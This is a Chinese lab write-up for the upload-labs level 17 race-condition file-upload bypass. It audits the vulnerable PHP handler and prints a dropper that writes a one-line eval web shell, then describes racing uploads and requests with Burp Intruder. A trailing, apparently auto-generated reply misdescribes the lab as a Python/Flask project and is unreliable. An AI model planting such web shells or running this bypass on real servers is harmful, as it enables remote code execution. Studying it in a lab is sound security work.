【文件上传绕过】uploads17关-条件竞争


0x001 源码审计

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

先通过move_uploaded_file把文件保存了,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除。重是重点在于,在多线程情况下,就有可能出现还没处理完,我们就访问了原文件,这样就会导致被绕过防护。

我们上传一个文件上去,后端会检验上传文件是否和要求的文件是否一致。如果不能达到要求就会删除文件,如果达成要求就会保留,那么当我们上传文件上去的时候,检测是否到达要求需要一定的时间,这个时间可长可短,但是我们确确实实在某一刻文件已经上传到了指定地址。这时候就会造成条件竞争。

0x002 绕过

test.php

<?php $file=fopen('shell.php','w+');fwrite($file,'<?php @eval($_POST[x]);?>');fclose($file);?>

访问test.php会在本地写入一个shell.php内容为一句话<?php @eval($_POST[x]);?>

上传文件抓包
在这里插入图片描述
用1这个变量作为参数发送到intruder批量发送数据包
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发包观察文件保存的地方,会看到文件是先上传到指定文件夹下后因为后缀名不合法而被删除,

在这里插入图片描述

抓包访问test.php,发送到intruder模块
在这里插入图片描述
实现的思路就是上面那个不断发送上传文件,下面这个不断发包访问文件,在某一时刻上传的文件如果刚好被访问到那么会在本地写入一个shell.php的文件,文件内容为一句话

在这里插入图片描述

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
你好!对于搭建uploads-labs靶场,你可以按照以下步骤进行操作: 1. 下载uploads-labs源代码:你可以从GitHub上找到uploads-labs的源代码,并将它下载到你的服务器或本地机器上。 2. 安装必要的依赖:uploads-labs使用了一些依赖库,你需要安装它们。通常来说,你需要安装Python和一些Python库,比如Flask、SQLAlchemy等。根据项目的要求,你可能还需要安装其他的依赖库。 3. 配置数据库:uploads-labs使用了数据库来存储数据。你需要创建一个数据库,并将数据库的连接信息配置到uploads-labs中。具体配置方式取决于你使用的数据库类型。 4. 配置uploads-labs:在项目的配置文件中,你需要修改一些配置项,包括数据库连接信息、密钥等。确保这些配置项与你的环境相匹配。 5. 运行uploads-labs:完成以上步骤后,你可以运行uploads-labs了。根据项目的要求,你可能需要运行一些命令来初始化数据库、创建表格等。 6. 访问uploads-labs:一旦uploads-labs运行起来,你可以通过浏览器访问它。通常情况下,uploads-labs会监听某个端口(比如80或8080),你可以通过访问对应的URL来使用它。 请注意,以上只是一个大致的搭建过程,具体的步骤可能因为你的环境和项目的不同而有所差异。在搭建过程中,你可能还会遇到一些其他的问题,需要根据具体情况进行解决。希望以上信息对你有所帮助!如果你需要更详细的指导,请提供更多的信息,我将尽力帮助你。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

多学点技术

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值